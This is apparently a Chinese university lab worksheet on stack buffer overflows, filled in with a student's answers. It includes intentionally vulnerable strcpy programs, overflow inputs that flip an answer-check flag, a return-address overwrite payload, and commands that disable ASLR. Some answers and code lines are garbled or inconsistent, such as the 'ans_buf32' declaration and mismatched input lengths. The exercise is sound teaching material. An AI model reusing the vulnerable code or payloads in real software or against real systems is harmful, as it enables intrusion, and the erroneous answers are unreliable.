

缓冲区溢出剖析与防御

使用

本文档以通关方式撰写，完成一关进入下一关，请将需要填写的内容写在空白处。

条件

这个练习用来帮助大家理解栈溢出原理。这需要 Linux 操作系统，32 位。

安装虚拟机（如 VirtualBox 或 VMWare），并安装 CentOS 6.10 操作系统，下载地址：

<https://mirrors.aliyun.com/centos-vault/6.10/isos/i386/?spm=a2c6h.25603864.0.0.12f660cfxNAaW2>

文件：CentOS-6.10-i386-minimal.iso

如果安装时出现“unable to boot use a kernel appropriate for your CPU”错误，请配置虚拟处理器（CPU）启用 PAE/NX 特性。

系统安装后，以 root 用户执行：

```
yum install gcc  
yum install gdb
```

GATE 1

用编辑器（vim 或其他）输入如下代码，命名为 `stack_overflow.c`。

建议用虚拟机的同学将该程序在 Windows 平台下保存为 `stack_overflow.c`，拷贝到虚拟机中。

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

    int value = 5;
    char buffer_one[8], buffer_two[8];

    strcpy(buffer_one, "one");
    strcpy(buffer_two, "two");

    printf("[BEFORE] buffer_two is at %p and contains '%s'\n", buffer_two, buffer_two);
    printf("[BEFORE] buffer_one is at %p and contains '%s'\n", buffer_one, buffer_one);
    printf("[BEFORE] value is at %p and is %d (0x%08x)\n\n", &value, value, value);

    printf("[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1]));
    strcpy(buffer_two, argv[1]);

    printf("[AFTER] buffer_two is at %p and contains '%s'\n", buffer_two, buffer_two);
    printf("[AFTER] buffer_one is at %p and contains '%s'\n", buffer_one, buffer_one);
    printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);

}
```

理解以上代码，在空白处简要介绍上述代码功能。

此处是空白处：

代码通过 `strcpy` 函数存在缓冲区溢出漏洞，程序可能会用户提供过长输入导致内存破坏。这会导致程序崩溃，被恶意利用进行代码执行

使用 debug 选项编译代码：

gcc -g -o so stack_overflow.c

按照下面命令执行程序，多执行几次该程序，比较输出结果，将某一次输出拷贝在空白处。

溢出还修改了 `value` 的值，导致变成 `0x69696969`，最后，程序崩溃抛出段错误，因为 `value` 和其他内存位置被不正确地修改，导致访问了无效的内存地址

GATE 2

用编辑器（vim 或其他）输入如下代码，命名为 `ans_check.c`。

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_answer(char *ans) {

    int ans_flag = 0;
    char ans_buf[16];

    strcpy(ans_buf, ans);

    if (strcmp(ans_buf, "forty-two") == 0)
        ans_flag = 1;

    return ans_flag;
}

int main(int argc, char *argv[]) {

    if (argc < 2) {
        printf("Usage: %s <answer>\n", argv[0]);
        exit(0);
    }
    if (check_answer(argv[1])) {
        printf("Right answer!\n");
    } else {
        printf("Wrong answer!\n");
    }
}
```

理解代码，在空白处简要介绍上述代码功能。

代码验证输入的答案是否正确，`ans_buf[16]`为 16 字节

编译代码:

```
gcc -g -o ans_check ans_check.c
```

按如下方式执行该程序，将控制台信息（含输入和输出）复制在空白处。

```
./ans_check
./ans_check yes
./ans_check forty-two
./ans_check 1111111111      #注:10 个 1 (32 位计算机)
./ans_check 1111111111111111  #注:16 个 1 (32 位计算机)
./ans_check 11111111111111111  #注:17 个 1 (32 位计算机)
```

此处是空白处:

```
[root@localhost ~]# ./ans_check
Usage: ./ans_check <answer>
[root@localhost ~]# ./ans_check yes
Wrong answer!
[root@localhost ~]# ./ans_check forty-two
Right answer!
[root@localhost ~]# ./ans_check 1111111111
Wrong answer!
[root@localhost ~]# ./ans_check 1111111111111111
Wrong answer!
[root@localhost ~]# ./ans_check 11111111111111111
Right answer!
```

静静地思考 2 分钟，简要解释一下最后一个命令的结果，填写在空白处。

此处是空白处:

在最后一个命令中，`./ans_check 11111111111111111` 程序返回 **Right answer!**，表示缓冲区溢出

GATE 3

为了具体分析发生结果的细节，使用 gdb 进行检查，输入如下命令：

```
gdb ans_check -q
list 1
list
list
break 10 #注：断点放在 strcpy 所在行，根据程序行号调整
break 15 #注：断点放在该函数 return 语句所在行，根据程序行号调整
run 1111111111111111 #注:17 个 1
```

将最后一行命令的结果填写到空白处。

此处是空白处：

```
(gdb) run 1111111111111111
Starting program: /root/ans_check 1111111111111111
```

Breakpoint 1, check_answer (ans=0xbffff8c2 '1' <repeats 17 times>) at ans_check.c:10

10 strcpy(ans_buf, ans);

Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.212.el6_10.3.i686

大家熟知，断点位置是程序尚未执行的位置。因此，程序当前在 strcpy 所在行，但并未执行该行指令。检查下面两个变量的值，将结果粘贴到空白处。

```
x/s ans_buf
x/x &ans_flag
```

此处是空白处：

```
(gdb) x/s ans_buf
0xbffff69c:  "@\203\004\b"
(gdb) x/x &ans_flag
0xbffff6ac:  0x00
```

在 gdb 中输入命令 c <enter>，继续执行程序。

在这个断点，strcpy 已经执行完毕，再次检查变量并将输出结果拷贝在空白处。

```
x/s ans_buf
x/x &ans_flag
```

此处是空白处：

```
(gdb) x/s ans_buf
0xbffff69c:    '1' <repeats 17 times>
(gdb) x/x &ans_flag
0xbffff6ac:    0x31
```

由此可见，栈中的缓冲区溢出改变了条件变量的值。C 语言中，任何非零值都是 true，因此，覆盖后的字符'1'（0x31）表示 true。

（输入 quit 退出 gdb）

GATE 4

简单修改代码，将 `ans_flag` 和 `ans_buf` 两个变量声明交换位置，编译后运行：

```
./ans_check 11111111111111111111 #注:17个1
```

将输出结果和解释写到空白处。

此处是空白处：

```
./ans_check 11111111111111111111  
Right answer!
```

虽然交换变量位置，程序依然存在缓冲区溢出

这类栈溢出属于“**溢出(后覆盖其他)变量**”类型。

思考 1 分钟：这类栈溢是否与程序设计有关？这类栈溢出的利用是否是通用方法？

此处是空白处：

栈溢和程序设计有关，栈溢出的利用方法基本都是通用的，特别是对老旧、未采取现代安全措施的程序。

GATE 5

用编辑器（vim 或其他）输入如下代码，命名为 ans_check2.c。

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_answer(char *ans) {

    int ans_flag = 0;
    char ans_buf32; //注意此行的变化

    printf("ans_buf is at address %p\n", &ans_buf);

    strcpy(ans_buf, ans);

    if (strcmp(ans_buf, "forty-two") == 0)
        ans_flag = 1;

    return ans_flag;
}

int main(int argc, char *argv[]) {

    if (argc < 2) {
        printf("Usage: %s <answer>\n", argv[0]);
        exit(0);
    }
    if (check_answer(argv[1])) {
        printf("Right answer!\n");
    } else {
        printf("Wrong answer!\n");
    }
}
```

这个代码与 ans_check.c 相似，不同的地方用**蓝色粗体**表示，请理解该代码的功能。（注意 check_answer 函数第二行的变化）

用如下指令编译该程序：

```
gcc ans_check2.c -g -z execstack -o ans_check2
```

其中，选项“-z execstack”表示栈可以执行（栈中可以包含运行指令）。运行如下指令，将输出结果粘贴在空白处：

```
./ans_check2 forty-two
```

此处是空白处：

```
[root@localhost ~]# ./ans_check2 forty-two
ans_buf is at address 0xbfc9cc3c
Right answer!
```

现在，用 python 语言产生输入，运行该程序。

```
./ans_check2 $(python -c "print '0'*5")
```

其中，python -c "print '0'*5"产生一个字符串'00000'(5 个 0)，通过修改其中的数字可以很容易的改变输入 0 的长度。（此处不用理解 Python 语句含义）

通过辅助 python 代码，我以发现 1) 通过输入是否可以使程序的栈缓冲区溢出，2) 多长的输入能够使栈缓冲区溢出。

增加输入长度，直到程序因为 Segmentation fault 而退出。将产生 Segmentation fault 的指令和结果粘贴在空白处。

```
./ans_check2 $(python -c "print '1'*44")
ans_buf is at address 0xbff2f24c
Right answer!
段错误
```


GATE 6

Gate5 粗略地找到了栈溢出的输入长度，下面，我们将填入有意义的代码，进而劫持程序。

执行下面二进制反编译命令，将输出写在空白处。

```
objdump -D ans_check2 | grep -B 1 exit
```

此处是空白处：

```
objdump -D ans_check2 | grep -B 1 exit
```

```
080483b4 <exit@plt>:
```

```
--
```

```
80484ff:    c7 04 24 00 00 00 00    movl $0x0,(%esp)
8048506:    e8 a9 fe ff ff          call 80483b4 <exit@plt>
```

其中，“-B 1”选项可以使 `grep` 命令输出包含“exit”行及前一行的信息。这两行代码能够让程序退出。我们将通过修改输入内容，让程序跳转到这两行代码执行，即直接令程序退出。

这里假设这两行代码首地址是 `0xdeadbeef` (**根据你的程序地址替换**)，执行如下命令：

```
./ans_check2 $(python -c "print '\xef\xbe\xad\xde'*N")
```

其中，**N 是多少，需要你来发现**。找到满足如下条件的 N：

- 1) 程序能够正常退出；
- 2) 退出时不输出答案正确或错误的信息；
- 3) 没有 Segmentation fault 错误；
- 4) N 最短。

将正确的结果连同正确结果的输入一并记录在空白处。

此处是空白处：

```
./ans_check2 $(python -c "print '\x06\x85\x04\x08'*10")
ans_buf is at address 0xbff6326c
Right answer!
```

GATE 7

Gate7 用来观察 ASLR 技术，这是一种早期系统防范缓冲区溢出的方法之一，该方法已经可以被绕过。

多次执行 `./ans_check2 forty-three` 命令，观察每次的输出是否相同。请运行 3 次，将输出结果写在空白处。（**请注意：如果程序在校内服务器运行，ASLR 已经被关闭，多次运行结果相同。**）

此处是空白处：

```
[root@localhost ~]# ./ans_check2 forty-three
ans_buf is at address 0xbfe651cc
Wrong answer!
[root@localhost ~]# ./ans_check2 forty-three
ans_buf is at address 0xbffe43fc
Wrong answer!
[root@localhost ~]# ./ans_check2 forty-three
ans_buf is at address 0xbfa9436c
Wrong answer!
```

`ans_check2` 程序在 `gdb`（调试器）中运行程序，每次输出是相同的，即程序自身缓冲区起始地址（新增 `printf` 语句对应的输出）和实际的栈中缓冲区地址是一样的。

`ans_check2` 在 `gdb` 之外执行程序，它们的值可能是不同的，即**每次执行程序，程序 `printf` 输出的地址都不同**（说明分配的内存栈地址不同）。这是因为：系统可能使用了地址空间布局随机化 `address space layout randomization (ASLR)`，在 `gdb` 中，默认不开启 `ASLR`。

关闭 **ASLR** 执行如下命令：

```
cat /proc/sys/kernel/randomize_va_space
sudo su -
echo 0 > /proc/sys/kernel/randomize_va_space
exit
```

打开 **ASLR**，执行如下命令：

```
cat /proc/sys/kernel/randomize_va_space
sudo su -
echo 2 > /proc/sys/kernel/randomize_va_space
exit
```

再执行“`./ans_check2 forty-three`”等指令，每次执行的缓冲区地址将一样。记录这个地址：

此处是空白处:

```
cat /proc/sys/kernel/randomize_va_space
2
[root@localhost ~]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@localhost ~]# ./ans_check2 forty-three
ans_buf is at address 0xbffff68c
Wrong answer!
[root@localhost ~]# ./ans_check2 forty-three
ans_buf is at address 0xbffff68c
Wrong answer!
[root@localhost ~]# ./ans_check2 forty-three
ans_buf is at address 0xbffff68c
Wrong answer!
```

完成 Gate4 之前，请尝试打开 ASLR 并关闭 ASLR，在 2 个空白处分别填写输出结果不同和输出结果相同的两个结果。